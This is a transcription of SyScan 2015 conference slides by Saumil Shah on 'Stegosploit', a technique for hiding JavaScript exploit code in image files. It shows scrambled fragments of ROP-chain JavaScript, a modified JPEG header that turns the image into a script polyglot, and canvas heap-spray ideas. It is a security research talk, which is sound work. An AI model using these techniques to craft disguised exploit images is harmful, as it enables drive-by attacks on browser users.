SyScan15 Saumil Shah - STEGOSPLOIT - HACKING

Transcription

SyScan15 Saumil Shah - STEGOSPLOIT - HACKING
Hacking
With
Pictures
Saumil Shah
SyScan 2015
net-square
About Me
Saumil Shah
CEO, Net-Square
@therealsaumil
saumilshah
hacker, trainer, speaker,
author, photographer
educating, entertaining and
exasperating audiences
since 1999
net-square
Hiding In Plain Sight
net-square
Images are
INNOCENT!
net-square
•  Steganography
•  GIFAR
concatenation
•  PHP/ASP webshells
appending tags
<?php..?> <%..%>
A bit of History
net-square
•  XSS in EXIF data
Attack
Payload
SAFE
decoder
DANGEROUS
Pixel Data
Dangerous Content Is ...Dangerous
net-square
G
r e
e t
net-square
i
n
g s
P
r
o
f
e
s s
o
r
F
a l
k e
n
I'm an evil Javascript
I'm an innocent image
net-square
function packv(n)
{var s=new
Number(n).toStri
ng(16);while(s.l
ength<8)s="0"+s;
scape("%u"+s.sub
return(une
string(4,8)+"%u"
+s.substring(0,4
addressof=new
)))}var
Array();addresso
f["ropnop"]=0x6d
81bdf0;addressof
_esp_ret"]=0x6d8
["xchg_eax
1bdef;addressof[
"pop_eax_ret"]=0
addressof["pop_e
x6d906744;
cx_ret"]=0x6d81c
d57;addressof["m
x_ret"]=0x6d9797
ov_peax_ec
20;addressof["mo
v_
eax_pecx_ret"]=0
0;addressof["mov
x6d8d7be
_pecx_eax_ret"]=
0x6d8eee01;addre
eax_ret"]=0x6d83
ssof["inc_
8f54;addressof["
add_eax_4_ret"]=
;addressof["call
0x00000000
_peax_ret"]=0x6d
8a
ec31;addressof["
24_ret"]=0x00000
add_esp_
000;addressof["p
opad_ret"]=0x6d8
essof["call_peax
2a8a1;addr
"]=0x6d802597;fu
nction
call_ntallocatev
irtualmemory(bas
eptr,size,callnu
ropnop=packv(add
m){var
ressof["ropnop"]
);var
pop_eax_ret=pack
v(addressof["pop
_eax_ret"]);var
pop_ecx_ret=pack
v(addressof["pop
_ecx_ret"]);var
mov_peax_ecx_ret
=packv(addressof
["mov_peax_ecx_r
mov_eax_pecx_ret
et"]);var
=packv(addressof
["mov_eax_pecx_r
mov_pecx_eax_ret
et"]);var
=packv(addressof
["mov_pecx_eax_r
call_peax_ret=pa
et"]);var
ckv(addressof["c
all_peax_ret"]);
add_esp_24_ret=p
va
r
ackv(addressof["
add_esp_24_ret"]
popad_ret=packv(
);var
addressof["popad
_ret"]);var retv
al=""!
<CANVAS>
net-square
Avoid the EVIL eval()
var a = eval(str);
a = (new Function(str))();
net-square
Hat tip: Dr. Mario Heiderich @0x6D6172696F
Theory Becomes Practice - 2014
net-square
Hiding In Plain Sight
I SEE PIXELS
IMAJS
net-square
I SEE CODE
IMAJS – The Concept
<img> sees pixels
<script> sees code
#YourPointOfView
Image
net-square
Javascript
Holy
Sh**
Bipolar
Content!
Cross Container Scripting - XCS
<img src="itsatrap.gif">
<script src="itsatrap.gif">
</script>
net-square
IMAJS-GIF Browser Support
Height
Width
Browser/Viewer
Image
Renders?
Javascript
Executes?
2f 2a
00 00
Firefox
yes
yes
2f 2a
00 00
Safari
yes
yes
2f 2a
00 00
IE
no
yes
2f 2a
00 00
Chrome
yes
yes
2f 2a
00 00
Opera
?
?
2f 2a
00 00
Preview.app
yes
-
2f 2a
00 00
XP Image Viewer
no
-
2f 2a
00 00
Win 7 Preview
yes
-
net-square
IMAJS-BMP Browser Support
Height
Width
Browser/Viewer
Image
Renders?
Javascript
Executes?
2f 2a
00 00
Firefox
yes
yes
2f 2a
00 00
Safari
yes
yes
2f 2a
00 00
IE
yes
yes
2f 2a
00 00
Chrome
yes
yes
2f 2a
00 00
Opera
yes
yes
2f 2a
00 00
Preview.app
yes
-
2f 2a
00 00
XP Image Viewer
yes
-
2f 2a
00 00
Win 7 Preview
yes
-
net-square
Popular Image Formats
IMAJS
BMP
GIF
PNG
JPG
Easy
Easy
Hard
Hard
Alpha
<CANVAS>
Colours
Extra Data
net-square
?
RGB
Paletted
(00 in header)
(Lossy)
Yes
No
Yes
Yes
RGB
RGB
EXIF
All new IMAJS-JPG!
I
JPG
JPG +JS +HTML +CSS
net-square
Hat tip: Michael Zalewski @lcamtuf
The Secret Sauce
shhh..
don't tell
anyone
net-square
The Secret Sauce
Regular JPEG Header
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
Start marker
length
"J F I F \0"
01 2C 00 00 FF E2 ...
next section...
Modified JPEG Header
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C
Start marker
length
"J F I F \0"
01 2C 00 00 41 41 41 41 41...12074..41 41 41 FF E2 ...
whole lot of extra space!
net-square
next section...
The Secret Sauce
Modified JPEG Header
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C
Start marker
length
"J F I F \0"
01 2C 00 00 41 41 41 41 41...12074..41 41 41 FF E2 ...
whole lot of extra space!
next section...
See the difference?
FF D8 FF E0
/*
Start marker
comment!
4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 */='';alert(Date());/*...41 41 41 FF E2 ...
Javascript goes here
net-square
next section...
net-square
HTML5 for Exploit Dev
•  jscript9.dll introduced many changes.
–  No %u0000 in strings.
–  No 0x00000000 in strings.
• 
• 
• 
• 
Kills conventional Heap Sprays.
<CANVAS> to the rescue!
IE9 and above "support" HTML5.
<!DOCTYPE html>
net-square
CANVAS for Exploit Dev
•  Heap Sprays through Pixel Arrays!
•  No character restrictions.
–  All pixels treated equally!
•  And a bonus... ALPHA CHANNELS.
net-square
Stegosploit!
net-square
MS14-035 CInput Use-After-Free
IMAJS
net-square
stego
PWN!
< PAYLOADS GO
back in time
net-square
< ATTACK TIMELINE
I'M IN UR BASE
GET /lolcat.png
200 OK
....KILLING UR DOODZ
GET /decoder.jpg
200 OK
GET /lolcat.png
304 Not Modified
JS Exploit code
encoded in PNG.
EVIL
Decoder script references PNG
from cache.
SAFE
OCT 2014
FEB 2015
net-square
Conclusions - Offensive
•  Lot of possibilities!
•  Weird containers, weird encoding, weird
obfuscation.
•  Image attacks emerging "in the wild".
•  Not limited to just browsers.
net-square
Conclusions - Defensive
•  DFIR nightmare.
–  how far back does your window of
inspection go?
•  Can't rely on extensions, file headers,
MIME types or magic numbers.
•  Wake up call to browser-wallahs.
net-square
Greets!
Michael Zalewski
@lcamtuf
Ange Albertini
@corkami
@zer0mem
Mario Heiderich
@0x6D6172696F
Thomas Lim
@thomas_coseinc
@SyScan crew!
net-square
Photogra
phy
by
Saumil S
hah
THE
END
Saumil
Shah
@therealsaumil
saumilshah
[email protected]
net-square
See you at
#SYSCAN16
#syscanmustnotdie

Similar documents

Saumil Shah - Innovative Approaches to Exploit Delivery

Saumil Shah - Innovative Approaches to Exploit Delivery num){var ropnop=p ackv(addressof[" ropnop"]);var pop_eax_ret=pack v(addressof["pop _eax_ret"]);va r pop_ecx_ret=pack v(addressof["pop _ecx_ret"]);va r mov_peax_ecx_ret =packv(addressof ["mov_peax_e...

More information

Saumil Shah

Saumil Shah _ret"]);var mov_peax_ecx_ret =packv(addressof ["mov_peax_ecx_r et"]);var mov_eax_pecx_ret =packv(addressof ["mov_eax_pecx_r et"]);var mov_pecx_eax_ret =packv(addressof ["mov_pecx_eax_r et"]);var ca...

More information